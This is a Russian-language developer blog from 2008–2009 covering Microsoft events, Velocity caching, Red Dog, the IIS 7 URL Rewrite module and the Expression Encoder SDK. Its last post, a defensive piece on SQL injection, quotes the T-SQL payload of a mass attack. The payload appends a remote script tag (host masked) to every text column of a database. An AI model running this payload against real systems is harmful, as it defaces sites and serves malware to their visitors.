Ласкаво просимо до dev.net.ua Увійти | Приєднатися | Допомога | Увійти Live ID
в Пошук

Владимир Лещинский

Блог посвящен самым последним разработкам компании Microsoft, облегчающим жизнь архитекторам и простым разработчикам и позволяющим делать приложения высокопроизводительными и масштабированными.

  • Весенний TechNet день в Харькове. 27 мая 2009 г. Спеши зарегистрироваться!!!!!

    Приглашаем всех IT специалистов посетить бесплатный семинар в городе Харьков. Семинар будет проходить в Харьковском национальном университете радиоэлектроники.  На семинаре все желающие смогут прослушать интересные доклады одного из лучших русскоязычных спикеров Игоря Шаститко

     

    Для участия в мероприятии требуется регистрация.

     

    Зарегистрироваться нужно здесь

    Программа мероприятия : 

    Харьков, 27 мая 2009 г.

    9:30-10:00

    Регистрация участников

     

    10:00-11:15

    Обзор Windows 7 – нововведения на уровне ядра, пользовательских возможностей, развертывания, совместимость с предыдущими версиями

    Игорь Шаститко

    11:15-11:30

    Кофе-пауза, ответы на вопросы

     

    11:30-12:45

    Совместное использование Windows 7 и Windows Server 2008 R2 – Direct Access, BranchCache, Group Policy & Security

    Игорь Шаститко

    12:45-13:45

    Перерыв на обед

     

    13:45-15:15

    Обзор Windows Server 2008 R2 – нововведения в управлении, инфраструктуре, виртуализации

    Игорь Шаститко

    15:15-15:30

    Кофе-пауза, ответы на вопросы

     

    15:30-16:45

    Обзор Microsoft IE8, служб Windows Live

    Игорь Шаститко

  • Встреча харьковских .Net разработчиков UNETA

    Поскольку никто не листает в конец страницы и не смотрит что там. Я продублирую объявление Кати в своем блоге.

     

    Приглашаем всех желающих на встречу UNETA – первую встречу в 2009, которая состоится 23 января (в пятницу) в 18.15 в ауд. 334 в ХНУРЭ!

    На встрече будут рассмотрены следующие доклады:


    "TFS: Хранилище данных и отчеты"
    Дмитрий Лапшин [Team System MVP]
    GlobalLogic Ukraine


    "Сравнение и оптимизация производительности

     Linq to SQL и Entity Framework"
    Александр Кондуфоров

     

    Приходите и получите ответы на все интересующие Вас вопросы....

     

    Предварительная регистрация на сайте http://uneta23012008.events.live.com/

    Либо писать на адрес: Vladimir.Leshchinsky@uneta.org

     

    Дата и время проведения: 23 Январь 2009 r. в 18:15

     

    Место проведения:

    Харьковский национальный университет радиоэлектроники, ауд. 334
    г. Харьков пр. Ленина 14 ХНУРЭ ауд. 334(3 этаж)

  • VORT-EX .. или возможность получить бесплатно ОС Windows Web Server 2008

    Хочу донести до сообщества .Net разработчиков и IT специалистов интересную информацию ...

    Все кто предварительно зарегистрируется (на сайте http://www.vort-ex.com) и посетит затем он-лайн конференцию - получат бесплатно серверную операционную систему Windows Server 2008 Web Edition(лицензионный ключ – а не коробку, т.е. не будет таможенных проблем), а также примут участие в розыгрыше призов(Mobile Devices, Life Cams, Microsoft Press Books, Zunes and more).

    Ниже официальный пресс релиз ....

    Регистрируемся и получаем бесплатный софт и призы!!!!!!!!!!

    29 October 2007

    Inspiration, Conversation, VORT-EX 08.

    Microsoft Central and Eastern Europe Announces

    it first virtual, web event.

    Munich — 29 October 2008 — Today, Microsoft announced it’s first virtual VORT-EX conference taking place on November 18 and 19, 2008. According to Wikipedia, a Vortex is a spinning flow of fluid. And this is exactly what Microsoft CEE wants to achieve…we want to enable a spinning flow of fluid conversation with developers, students, web designers and decision makers across CEE to share and showcase Microsoft’s new and exciting web technologies…..through a Live Virtual Online Remix Conference: http://www.microsoft.com/vort-ex

    “We are excited to organize for the first time this virtual, green! VORT-EX 08 event designed to increase awareness on Microsoft’s next web platform and new user experience principles by showcasing the event using Microsoft web technologies”, mentioned Petra Boros, web business development manager, CEE HQ. “We want to reinvigorate our relationship with and between partners, customers, software developers and web designers. We believe that together we can transform the web to a new level of incredible user experience.”

    This Live Virtual Conference will consists of similar elements to a traditional event, including; live keynote presentations and interaction functionalities; over 25 sessions within three tracks for developers, web designers and business decision makers, community stands; sponsor booths and exhibition hall as well as the possibility to download presentations and documentation after the live event. Also sixteen of our Microsoft subsidiaries will set up VORT-EX Cafes on November 18th to encourage local networking and round tables among key partners and customers.

    Key sponsor of VORT-EX include:

    Infragistics: http://www.infragistics.com/

    F5: http://www.f5.com/

    “With this innovative conference, we would like to begin a conversation about the impact of web technologies, tools and techniques for the future. In addition to Silverlight, Ajax, IE8, IIS7, Windows 2008, Live, Microsoft is bringing unparallel power of choice with the recent introduction of the Windows Azure and The Azure™ Services Platform.  This virtual event is a comprehensive program of sessions led by industry experts about Web technologies, to help enhance the web presence of individuals and business who are building and believing in the innovative web“, commented Guenter Weimer, General Manager, Developer Strategy, Microsoft CEE.

    About Microsoft

    Founded in 1975, Microsoft (Nasdaq "MSFT") is the worldwide leader in software, services and solutions that help people and businesses realise their full potential.

    #########

    Microsoft is a registered trademark of Microsoft Corp. in the United States and/or other countries.

    The names of actual companies and products mentioned herein may be the trademarks of their respective owners.

    Petra Boros, Web Business Development Manager, CEE HQ

    Phone: +36 30 694 04 57

    E-mal: petrabor@microsoft.com

    Ricardo Adame, Director of Corporate Communications, Microsoft Central and Eastern Europe HQ

    Phone: +49-160-5892-777

    E-mail: ricardad@microsoft.com

    Microsoft EMEA Response Centre

    Phone: +44 870 243 0515

    E-mail: emearesponse@wagged.com

    Note to editors

    If you are interested in viewing additional information on Microsoft in EMEA, please visit http://www.microsoft.com/emea or the EMEA Press Centre at http://www.microsoft.com/emea/presscentre. Web links, telephone numbers and titles were correct at the time of publication, but may since have changed. For additional assistance, journalists and analysts may contact the Microsoft EMEA Press Office at +44 870 243 0515 or other appropriate contacts listed at http://www.microsoft.com/emea/contactus.

    If you are interested in viewing additional information on Microsoft Corp., please visit the Microsoft web page at http://www.microsoft.com/presspass on Microsoft’s corporate information page

  • Цветик-семицветик ... Velocity... или зачем нам еще один Distributed Cache?

    Лети, лети, лепесток,
    Через запад на восток,
    Через север, через юг,
    Возвращайся, сделав круг.
    Лишь коснешься ты земли -
    Быть по моему Вели!

    Что же нам говорит об этом "последнем - седьмом лепестке" официальная страница компании Microsoft :

    Velocity - это распределенная в памяти платформа,  предназначенная для разработки масштабированных, высокопроизводительных приложений. Velocity может кешировать любой CLR объект и обеспечивает доступ к ним через простой API. Главное назначение Velocity - это обеспечение производительности, масштабируемости и доступности.

    Velocity  связывает память множества компьютеров для того, чтобы предоставить единственное объединенное представление кэша для приложения. Приложения могут хранить любые специализированные CLR объекты, не беспокоясь о том, где именно хранятся объекты.

    Масштабируемость может быть достигнута просто добавлением большего числа компьютеров в случае необходимости.

    Velocity также позволяет хранить копии данных на разных серверах кластера, таким образом, защищая данные от потери в случае отказа работы какого-нибудь из серверов.

    Velocity  может быть сконфигурирована как сервис и работать вне сети или может быть запущен  embedded с распределенными приложениями...

    Velocity  включает провайдер ASP.NET сессии, который позволяет объектам сессии ASP.NET быть сохраненными в распределенном кеше, не используя БД. Это увеличивает производительность и масштабируемость ASP.NET приложений.

    Когда вы используете "Velocity," вы можете вернуть данные, используя ключи или другие идентификаторы, теги. "Velocity" поддерживает оптимистическую и пессимистическую  модель разрешения конфликтов и различные кеш конфигурации.

    Все вышеописанное не является новинкой и реализовано в разной степени в других продуктах. Хотя то, что Майкрософт наконец-то обратила на эту нишу внимание, заслуживает уважение. Скорее всего причиной стало продвижение таинственной платформы, позволяющей воспользоваться ресурсами нескольких миллионов серверов компании, разбросанных по множеству дата-центров по всему миру. (Я писал о Red Dog в предыдущих постах.)

    Попробуем сделать обзор некоторых из существующих приложений, которые уже владеют рынком подобных решений.

    Итак, что мы имеем...

    Начнем с культового продукта memcached - именно его использует всем известный Web-ресурс с многомиллионной аудиторией пользователей  Live Journal. (Описание архитектуры портала и ПО, используемого для его функционирования, можно найти по линку Архитектура LiveJournal)

    Созданный при решении практических проблем на реальном портале в боевых условиях он оказался настолько популярным, что несомненно возглавил список Distributed Cached систем. Ко всему этому баллы в корзину популярности добавила его опенсорность и готовность работать на самых популярных языках web-программирования, в том числе C#.

    Из недостатков могу отметить его функциональную простоту  и "одно-полярность", ориентированную на Unix платформы, хотя решение для Windows также существует и прекрасно функционирует. Информацию об этом продукте можно найти по адресу http://www.eu.socialtext.net/memcached/index.cgi , http://www.insight-it.ru/unix-way/obzor-memcached/

    Очень большое количество рынка занимают Java ориентированные решения. Вот некоторые из них...

    Компания Apache в рамках Jakarta Project(часть ASF) предоставляет opensource проект Java Caching System. Проект написан на Java позволяет управлять памятью, контролировать  дисковое переполнение и выполнять де-фрагментацию, группировать элементы, обеспечивает минимальные зависимости, выставление времени жизни и т.д.

    Решение от компании JBOSS: JBoss Cache - предназначен для Java ориентированных фреймворков. Реплицируемый кеш, обеспечивает  синхронизацию в кластере, он также обеспечивает высокую отказоустойчивость, транзакционность, механизм вытеснения, а также другие полезные фичи.  Является Opensource проектом, поддерживающим LGPL лицензию.

    Компания ORACLE предлагает свое решение - Oracle Coherence. Продукт обеспечивает масштабируемость приложений с прогнозированием, улучшенные уровни обслуживания, обеспечивает Extreme Transaction Processing (XTP). При этом они предоставляют клиент как под платформу JVM, так и под платформу .NET.

    Перечислю другие решения использующие JVM:

    OSCache, EHCache, JCache, ShiftOne Java Object Cache, SwarmCache, WhirtlyCache, Jofti, Cache4j, Open Terracotta ....

    Все они схожи и в большинстве случаев дублируют друг друга, имея один "большой недостаток" - однополярность, ориентированную на JVM.

    Теперь, хотелось бы упомянуть продукт, который также является, своего рода, культовым для платформ .NET - NCache http://www.alachisoft.com/ncache/ (не путать с китайским однофамильцем ncache). Первый релиз этой системы был выпущен 11 июля 2005 года. Продукт платный, но имеет ограниченные бесплатные версии. Как и все вышеуказанные позволяет кешировать объекты в ОЗУ на кластере. Его особенностью является ориентация на платформу .NET  и то, что почти с первых же версий он легко интегрируется с Enterprise Library.

    Один из партнеров, а теперь и конкурентов компании Microsoft, компания Scaleout Software предлагает свой продукт SOSS. Он был представлен еще в 2005 году, компания прилично продвинулись в создании масштабируемых решений и показывает неплохие результаты в подобных решениях.

    Есть также еще одно opensource решение написанное полностью на управляемом коде .NET  - SHARED CACHE.  При этом создатели продукта делают также, аналог и под платформу mono, но пока это решение не доступно.

    Итак пробежавшись по основным известным продуктам становится ясно, почему Майкрософт выбрала это направление .... из всех продуктов нашелся только один бесплатный, который написан на .NET и имеет открытые исходники. Большая часть решений ориентирована на LAMP и только малая часть на WISC(Windows IIS MS SQL C#). Ну и конечно причина о которой сейчас мало говорят, а ребята с майкрософт вообще молчат - это выход платформы, которая по своей сути представляет собой супер распределенную систему. Как раз для ее нормального и стабильного  функционирования не хватает продукта под названием Velocity.

    Почему же раньше такой проблемы не возникало? Да потому что существовали инструменты, которые косвенно решали эти проблемы - это хранение сессии в State Servere или MSSQL сервере. Конечно, при больших нагрузках они также не спасали, но... в принципе с помощью оптимизации архитектуры приложения и различных других приемов, удавалось вывести приложение на более менее достойный уровень производительности. В крайнем случае можно было воспользоваться тем же memcached или его аналогом.

    Итак шаг сделан..., как же выглядит "дорожная карта" продукта?

    VeloCitySchedule

     

    Давайте посмотрим на основные заявленные особенности velocity:

    • Позволяет кешировать любые сериализуемые объекты CLR и обеспечивает доступ к ним через простое API
    • Поддерживает масштабирование десятков на сотни компьютеров.
    • Может быть сконфигурирован как сервис и работать вне сети или может быть запущен  embedded с распределенными приложениями.
    • Поддерживает общую конфигурацию кеша.
    • Поддерживает динамические вычисление, добавляя узлы.
    • Конфигурируемое число резервных копий, обеспечивающих высокую отказоустойчивость.
    • Автоматическая балансировка нагрузки.
    • Интеграция с инструментами администрирования и мониторинга, такими как ETW, System Center, и т.д. 
    • Предоставляет тесную интеграцию с платформой ASP.NET, позволяя кешировать сессионные данные в кеш без необходимости писать данные в БД. Также, он может использоваться как кеш, для любых сериализируемых данных приложения, имея возможность хранить объекты  запрашиваемые любым из серверов Web фермы. 
    • Совместим с cache-aside архитектурами (также извесными как Explicit Caching) для V1.
    • Поддержка множества языков разработки(PHP, C#, C++, и т.д.).

      Список небольшой, но уже даже с ним Velocity имеет возможность конкурировать с аналогичными решениями...

    Прежде чем начать разбираться с продуктом, я рекомендовал бы прочитать статью в MSDN: Microsoft Project Code Named “Velocity”, в которой детально рассказаны основы и особенности продукта.

    Скачать продукт можно по адресу: VELOCITY,  также,  уже сейчас, есть возможность посмотреть инструкцию к установке.

    Блог команды Velocity находится по  адресу: http://blogs.msdn.com/velocity/

    С примерами использования продукта есть возможность познакомится по адресу: http://code.msdn.microsoft.com/velocity

    Форум посвященный продукту находится по адресу: http://forums.microsoft.com/MSDN/ShowForum.aspx?ForumID=2142&SiteID=1

    Настоятельно рекомендую всем архитекторам, а также ведущим разработчикам, уже сейчас, обратить внимание на этот продукт, а тех, кому на детальное исследование не хватает времени, приглашаю на ближайшую встречу юзер группы профессиональных разработчиков на платформе .NET "UNETA", на которой и будет разобран более детально этот "чудо цветок".

     

    Публикации по тематике

  • Red DOG - Microsoft Utility Computing Platform. Карточная игра "Красная Собака"... или что за сюрприз нам готовит Microsoft

    Дай, Джим, на счастье лапу мне,
    Такую лапу не видал я сроду...

    Многие знают Red Dog, как разновидность покера, и скорее всего решат, что компания Microsoft решила реализовать очередной игровой сервис, но... все не так просто...

    Описать тот восторг, который вызывает у меня конкурентный бой IT гигантов, невозможно ... могу только сравнить его с боем тяжеловесов, причем для истинных ценителей и знатоков не важен результат противоборства, важен сам процесс, и то, что будет сделано ради победы.

    Речь конечно же идет о разновидности систем, объединенных общим понятием Utility Computing.

    В апреле 2008 года Google представил на обозрение публике интересный инструмент, готовый, по его мнению, изменить мировоззрение целого поколения разработчиков...

    Google App Engine - http://hostinfo.ru/articles/search-engine/google/1349/, http://code.google.com/intl/ru/appengine/kb/general.html, http://code.google.com/intl/ru/appengine/docs/python/purepython.html

    Что-то подобное уже существовало на Amazon'e  - AWS (http://aws.amazon.com/ec2,  "убийца хостингов Amazon EC2", "Amazon EC2. Все новое – это хорошо забытое старое"),  и у других компаний, способных прогнозировать будущий спрос услуг рынка IT.

    В ответ на эти поползновения компания Microsoft подготавливает не менее амбициозный проект, объединяющий целую серию самостоятельных сервисов, готовых конкурировать во всех областях предоставления Web-услуг под названием "Красная собака" :).

    Сюрприз, как всегда, конечно припрятан на осень, но уже сейчас о нем все говорят...

    "Главный тренер" и технический приемник Билла Гейтса - Chief Software Architect Ray Ozzie заявляет: “announce no service before it’s done", что придает проекту таинственность.

    Потратив несколько минут и порывшись в поисковых системах становится ясно, что прорыв в подходе к разработке ПО ожидается после задействования вычислимых мощностей гигантов IТ индустрии. Каждый из них готов предоставить свои ресурсы и самое главное платформу с набором инструментов, обеспечивающую максимальную масштабируемость, простоту разработки ПО, высокую производительность и неограниченные объемы хранилищ данных по очень низкой цене. Все конечно будет предоставляться в виде SaaS.

    Многие могут подумать, что гиганты хотят изменить расстановку сил на рынке интернет услуг, "подмять под себя" громадный кусок рынка хостинга, уничтожив при этом мелкие платформы web-разработки... Но я другого мнения - мы вступаем в новую фазу развития методов разработки и продажи программного обеспечения - в "эру сервисов" и она влечет за собой смену мировоззрения и концепций разработки. В любом случае, все что делается, однозначно, приведет к развитию технологий и к созданию новых архитектурных решений, а значит обеспечит нас (разработчиков, архитекторов, тестеров, ...) работой еще на несколько лет :) ...

    Но все же... мы ждем от Майкрософт результата... ведь не зря все так тщательно скрывается - сюрприз и шоу гарантировано...

    А пока интересные ссылки и повод к обсуждению...

    1. Google App Engine: When will Microsoft field a competitor?

    2. Red Dog: Yet another unannounced Microsoft cloud service

    3. Reactions to story from LiveSide - Windows Live news and interviews

    4. Red DOG: Microsoft's Developer Cloud Platform

    5. Microsoft's utility computing guru talks about his in-house support challenges

    6. Microsoft's Red Dog to compete with Google Apps Engine and Amazon's EC2

    7. GigaOM Interview: Ray Ozzie, Chief Software Architect, Microsoft Corp.

  • "Did you know ...." от Сары Форд теперь на русском языке

    Однажды, случайно наткнувшись на блог Сары Форд, я стал ее постоянным читателем. Эта замечательная девушка, кроме того что является SDET' ом команды Visual Studio Core и любительницей карате, к тому же пишет прекрасные посты об особенностях Microsoft Visual Studio.

    Иногда на страницах ее дневника я делаю для себя открытия, которые очень помогают в работе и экономят мое время.

    Я рад сообщить, что нашелся человек отважившийся переводить ее записи на русский язык.

    Итак, имеем блог Сары Форд от Виталия Зайко "Знаете ли вы, как...."   -  http://blogs.msdn.com/rusaraford

    Надіслане Tuesday, June 24, 2008 5:42 PM від Leshchinsky | 1 коментарів
    Помічено як:
  • Что же ты делаешь с нами великий и могучий ... IIS 7 ? Или URLRewriter уже пришел...

    Что же ты делаешь с нами великий и могучий ... IIS 7 ?

    Или URLRewriter уже пришел...

    Не знаю по какой причине, но практически ни в одном русскоязычном блоге, связанном с технологиями Microsoft, никто не вспомнил об этой новинке...

    С проблемой, которую решает этот модуль, так часто приходиться сталкиваться, что ... я специально выделю несколько минут, чтобы рассказать о ней.

    Часто разработчики сетовали на недостаток гибкого модуля, позволяющего легко переписывать URL, не дописывая бизнес логику в приложение. Также часто возникали сложности в случаях, когда заказчик требовал обрабатывать имена сабдоменов, как параметры страницы. Часто мы слышали и другие справедливые упреки заказчиков: "что это за страшный  URL", "мы хотим короткий дружественный URL"....

    И нам разработчикам, в разные времена по-разному приходилось решать эту проблему.... 

    Так решали ее в начале столетия ....

    http://msdn.microsoft.com/en-us/library/ms972974.aspx,

    http://www.codeproject.com/KB/aspnet/urlrewriter.aspx

    Так боролись с ней с приходом ASP.NET 2.0 ...

    http://quickstarts.asp.net/QuickStartv20/aspnet/doc/navigation/urlmapping.aspx ,

    http://msdn.microsoft.com/en-us/library/system.web.configuration.urlmapping.aspx

    И вот так ее можно решить сегодня ...

    Теперь мы имеем возможность изменить URL до того, как он будет обработан IIS. Для этого нам достаточно установить специальный URL Rewrite модуль, предоставленный разработчиками компании Microsoft

    Модуль поддерживает два режима: один из них основан на регулярных выражениях, другой, более простой (wildcard-based), основан на подстановке. Предложенное решение может работать с URL, заголовками HTTP и серверными переменными. Основная задача модуля состоит в том, чтобы переписывать URL, кроме того с помощью модуля есть возможность выполнить переадресацию, отправлять custom-ответы и обрывать запросы в зависимости от логики, описанной в правилах модуля.

    Прежде, чем начинать работать с модулем, я рекомендую посмотреть специально выделенный раздел на  обучающем портале команды IIS - Using URL Rewrite Module, который содержит набор статей одного из Program-менеджеров команды IIS - Руслана Якушева.

    Что же включено в модуль?

    o Rules-based URL rewriting engine. Web-сервер и администраторы сайта могут использовать наборы rewrite правил, чтобы определять логику подмены URL.

    o Regular expression pattern matching. Rewrite правила могут использовать ECMA-262 совместимый синтаксис регулярных выражений для построения шаблонов сравнений.

    image

    o Wildcard pattern matching. Rewrite правила могут использовать Wildcard синтаксис.

    image

    o Global and distributed rewrite rules. Глобальные правила используются, чтобы определить URL rewriting логику всего сервера. Эти правила определены в пределах applicationHost.config файла, и они не могут быть заменены или отключены на любых более низких уровнях конфигурации. Распределенные правила используются, чтобы определить URL rewriting логику, определенную для специфической области конфигурации. Этот тип правил может быть определен на любом уровне конфигурации  в web.config файлах.

    image

    o Access to server variables and http headers. Переменные сервера и заголовки HTTP предоставляют дополнительную информацию о текущем запросе HTTP. Эта информация может использоваться, при создании rewrite правил.

    image

    o Various rule actions. Вместо того, чтобы переписывать URL с повомощью правил, можно выполнить другие действия, такие как,  HTTP переадресация, блокировка запроса или отправка custom status code клиенту HTTP.

    image

    o Rewrite maps. По сути он представляет собой мапинг, который мы имели в ASP.NET 2.0. Работает он со статическими адресами, не используя динамическую замену с помощью регулярных выражений или wildcards подстановок.

    <rewrite>
      <rewriteMaps>
        <rewriteMap name="SimpleRewrites">
          <add key="article1" value="article.aspx?id=1&amp;title=some-title" />
          <add key="some-title" value="article.aspx?id=1&amp;title=some-title"/>
          <add key="post/some-title.html" value="article.aspx?id=1&amp;title=some-title"/>
        </rewriteMap>
      </rewriteMaps>
    </rewrite>

    o UI for managing rewrite rules. Rewrite правила могут быть добавлены, удалены и отредактированы, используя "URL Rewrite Module" настройку в IIS менеджере.

    image

    o GUI tool for importing of mod_rewrite rules. URL rewrite модуль включает в себя GUI инструментарий для конвертации rewrite правил из mod_rewrite формата в IIS формат. 

    image

    Скачать инсталляцию модуля можно по адресам:

    Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x86),

    Microsoft URL Rewrite Module for IIS 7.0 CTP1 (x64).

    Все, кому нравится менять настройки вручную, имеют для этого прекрасную возможность, конфигурируя напрямую XML файлы:

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration>
      <system.webServer>
        <rewrite>
          <rules>
            <rule name="Rewrite to forum.aspx">
              <match url="^topic/([0-9]+)/([_0-9a-z-]+)"/>
              <action type="Rewrite" url="forum.aspx?topic={R:2}&amp;id={R:1}"/>
            </rule>
          </rules>
        </rewrite>
      </system.webServer>
    </configuration>

    Те же, кто не страдает комплексом "юникс администратора", получает интуитивно понятный графический интерфейс, помогающий настроить любые правила URL реврайтинга.

    image image

    На сайте команды IIS есть ветка в форуме, посвященная этому модулю http://forums.iis.net/1152.aspx. Ветка пока не очень большая, но я надеюсь на то, что этот "недостаток" будет исправлен, как только Вы попробуете этот замечательный модуль...

     

    Ссылки, косвенно касающиеся модуля и людей, упоминающихся в обзоре:

    http://www.gotdotnet.ru/Channel9/552493.aspx
    http://blogs.iis.net/thomad/archive/2008/05/30/now-available-url-rewriter-tech-preview-1.aspx
    http://blogs.iis.net/carlosag/archive/2008/05/30/url-rewrite-technical-preview-1-available.aspx
    http://blogs.iis.net/bills/archive/2008/05/31/urlrewrite-module-for-iis7.aspx

  • Если хочешь быть здоров ... Online переводчик терминов от Microsoft

    Предлагаю Вам воспользоваться системой онлайн перевода ключевых слов компании Microsoft - http://www.microsoft.com/language/xx/xx/search.mspx.

    Функционал сервиса, к сожалению, ограничен и позволяет переводить только с английского языка на ... любой из списка, а список там приличный.

    Сервис приводит толкование термина в зависимости от контекста. Выбрав какой-нибудь конкретный продукт, язык локализации и заполнив в верхнем(не подписанном) текстовом поле английский термин, мы получаем табличку со словарными статьями.

     image

    Я попробовал ввести ключевое слово "code", выбрав при этом продукт ".Net Framework" и язык "Russian" - на что, после небольшой паузы, получил несколько страниц результатов.

    image

    На сайте также можно увидеть на странице скачиваний Style Guide Download Page большой список стилей для ведения документации (что-то вроде ГОСТов) многих стран, в том числе и Украины.

    Там же есть возможность осуществить переход на страницу блога команды локализации продуктов Mайкрософт.

    Сервис предоставляет возможность отправить неизвесный термин команде локализации:

    http://www.microsoft.com/language/xx/xx/feedback.mspx.

    Сервис не новый, но очень часто приходится сталкиваться с разными вариациями перевода одного и того же термина. Я надеюсь, что он поможет Вам при написании документации.... чем больше людей будет им пользоваться, тем больше вероятность его развития ....

    Надіслане Monday, June 09, 2008 2:36 PM від Leshchinsky | 3 коментарів
    Помічено як:
  • Если что-то очень сильно хотеть, то ... Microsoft® Expression® Encoder 2 SDK ... может прилететь.

    Свершилось!!!!!!!!

    Спустя почти 5 лет мы получили новый инструментарий, который позволяет писать приложения, использующие API популярного средства кодирования видео потоков Microsoft® Expression® Encoder 2 SDK.

    Скачать можно его здесь:  http://www.microsoft.com/downloads/details.aspx?FamilyId=9A077A3D-58CE-454C-B486-153F0578BE4A&displaylang=en

    Пакет содержит:

    • IntelliSense for Expression Encoder 2
    • SDK documentation, including API reference
    • Code samples

    Все прекрасно помнят старое доброе средство Windows Media Encoder. Теперь на смену ему вышел прекрасный инструмент Expression Encoder, и уже в марте на знаменитом шоу Mix'08 был анонсирован Expression Encoder 2.

    Но !....

    Писать ПО, использующеее его мощь, мы не имели возможности - SDK отсутствовал.

    Вопрос о SDK звучал на профессиональных форумах с интервалом в неделю в течении года. Многие, в том числе  наша команда, спамили людей из Mайкрософт через все возможные каналы с просьбой дать инструментарий или описание способов использования API, которое используют они для написания собственных продуктов.

    Пытались пользоваться рефлектором, самостоятельно вытягивать все, что нам необходимо, и использовать, но у нас ничего не получалось. В ответ на наши письма получали "ЖДИТЕ" ...  И вот, когда уже необходимость исчезла, проект сдан и продан с сырцами другой компании ... Мы получили ....

    Боюсь разочароваться (он весит всего лишь 2.2 МБ), но все же первый шаг сделан ... Краем глаза уже успел взглянуть на SDK documentation - все примеры на двух языках Visual С++ и C#. Папочка Sample содержит только C# проекты.

    И вот первое разочарование : данное SDK - это всего лишь инструментарий, позволяющий работать с  объектной моделью Microsoft Expression Encoder (т.е. его установка обязательна... лицензия 200$) .

    Но все не так уж плохо: теперь мы имеем "прозрачную" объектную модель и примеры ....

     image

    Примеров не много - всего ...  ПЯТЬ!!!!

    Simple encode(Simple)  - пример, показывающий как можно просто с помощью консольного приложения перекодировать файл.

    Asynchronous encoding(WPFEncode) - приложение, которое демонстрирует как перекодировать файл, используя отдельный самостоятельный поток. Приложение написано с помощью WPF.

    image

    MediaInfo(MediaInfo) - консольное приложение, демонстрирующее способ использования класса MediaItem, которое позволяет извлечь всю информацию о медиа файле.

    Publishing plug-in(PublishPlugin) - приложение представляет собой код, демонстрирующий как используется publishing plug-in. Главный класс приложения обязан наследоваться  от класса PublishPlugin, который в свою очередь происходит из класса EncodingPlugin.

    Template plug-in(TemplatePlugin) - код демонстрирует как можно менять параметры настроек и взаимодействовать с заданиями через интерфейс IPluginHost.

    И напоследок несколько ссылок ...

    http://on10.net/blogs/benwagg/Expression-Encoder-SDK-is-out/

    http://blogs.msdn.com/expressionencoder/

    http://www.microsoft.com/communities/newsgroups/en-us/default.aspx?dg=microsoft.public.expression.mediaencoder

     

  • Снова ХНУРЭ в победителях ....

    Как-то странно, но совсем никто не сказал о наших чемпионах ....

    Команда студентов из ХНУРЭ снова победила.! Теперь в региональном финале конкурса Win The Web (http://mswtw.com/)

    Об этом конкурсе писал лидер команды победителей Павел Подлипенский, но так как человек он скромный - умолчал о своей победе.

    Так вот, спустя некоторое время, стали известны результаты по всей Европе - и наша команда  заняла 2 место среди студенческих команд и 3-е место в общем зачете, в котором участвовали и профессиональные команды разработчиков (3. Team Best Future (82 points)).

    Напомню, что ребята в начале июля отправляются вместе с еще 2 командами из ХНУРЭ на мировой финал конкурса Imaging Cup!!

    Ждем ребята Вас с победой! ХНУРЭ вперед!!!

    Надіслане Friday, June 06, 2008 2:50 AM від Leshchinsky | 0 коментарів
    Помічено як: ,
  • Перемен ... Мы ждем перемен .... или новый взгляд на ADO.NET

     

    Julia Lerman - известный специалист в области Entity Framework, в связи с выходом сервиспака к студии, выложила измененное представление модели ADO.NET 3.5.

     

    adonet35

    Вот только беда - я предыдущей не могу найти ..... может кто поможет ... а может и не было предыдущей ...

    Technorati Теги: ,
    Надіслане Thursday, June 05, 2008 7:13 PM від Leshchinsky | 2 коментарів
    Помічено як: ,
  • Снова SQL Injection .....

    Посвящается  моим  студентам,  жалующимся 

    на высокую требовательность к качеству кода

    при сдаче лабораторных работ...

     

    Конечно эта тема давно "заезжена" и все, кто учился в достаточно "продвинутом" ВУЗе, слушали ее на лекциях... и даже пробовали самостоятельно использовать эту атаку... 

     

    Но периодически прокатывающиеся в интернете эпидемии показывают, что то ли люди теряют бдительность, то ли вырастает поколение, которое не ходило на лекции... Факт остается фактом – сайты, подверженные атакам, продолжают появляться.  Sad

    Последние месяцы в интернете прокатилась интересная версия инъекции, по некоторым косвенным признакам, «тянущаяся своим следом» в Китай. К тому же совсем недавно мне самому пришлось помогать знакомым восстанавливать БД, испорченную с помощью именно этой атаки. Ее последствия можно посмотреть на официальных источниках (http://www.f-secure.com/weblog/archives/00001427.html) или, набрав одно из ключевых слов, в любой поисковой системе: dota11, qiuxuegm, killwow1, 9i5t, locale48, adword71, wowgm1, adw95, nihaoel3, ririw, refer68, banner82, direct84, wowyeye, nihaorr1 ... (кстати, я не рекомендую переходить на страницы этих сайтов - все они с большой вероятностью могут содержать зловредный код).

    Посмотрев на количество сайтов, испорченных с помощью этой атаки, волосы встают дыбом и становится страшно, от мысли о том: как хорошо учились люди, пишущие жизненно важное ПО?.

    Сразу после прокатившейся волны атак этого типа, компания Microsoft выпустила рекомендации  http://www.microsoft.com/technet/security/advisory/951306.mspx, что повлекло за собой массу слухов о проблемах в безопасности IIS, но все эти слухи не подтвердились и скорее всего, используются для оправдания подверженному инъекции "тухлому" коду приложений. Часть людей пострадала из-за плохой защищенности серверов хостера, где 1 сайт, подверженный инъекции, дал доступ к данным всего сервера.

     

    На блоге Людмилы Фокиной (кстати, она недавно перешла в команду SQL Server Security, с чем я ее и поздравляю!) выложена часть скрипта инъекции, получившей такой успех в интернете http://blogs.technet.com/lyudmila_fokina/archive/2008/05/31/web.aspx

     

    DECLARE @T varchar(255),@C varchar(255)

    DECLARE Table_Cursor CURSOR FOR

    select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='U' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

    OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

    WHILE(@@FETCH_STATUS=0) BEGIN

    exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.************.js></script>''')

    FETCH NEXT FROM Table_Cursor INTO @T,@C

    END

    CLOSE Table_Cursor

    DEALLOCATE Table_Cursor

     

    Там же находится ссылка, на которой собран очень интересный материал, касающийся SQL Injection атак

    http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx

    Скажу, что я встречал модификации скрипта,  и что люди организовывающие атаки, работают слаженно и анализируя результаты в каждом конкретном случае меняют скрипты....  

    Хочу добавить несколько ссылок, косвенно касающихся этой проблемы:

    http://msdn.microsoft.com/en-us/library/ms998271.aspx

    http://blogs.iis.net/bills/archive/2008/04/25/sql-injection-attacks-on-iis-web-servers.aspx

    http://support.microsoft.com/?id=812614

    http://technet2.microsoft.com/windowsserver/ru/library/21407bf2-4992-4b8c-876a-88bba914a9e21049.mspx?mfr=true

    http://msdn.microsoft.com/en-us/library/ms998297.aspx

     

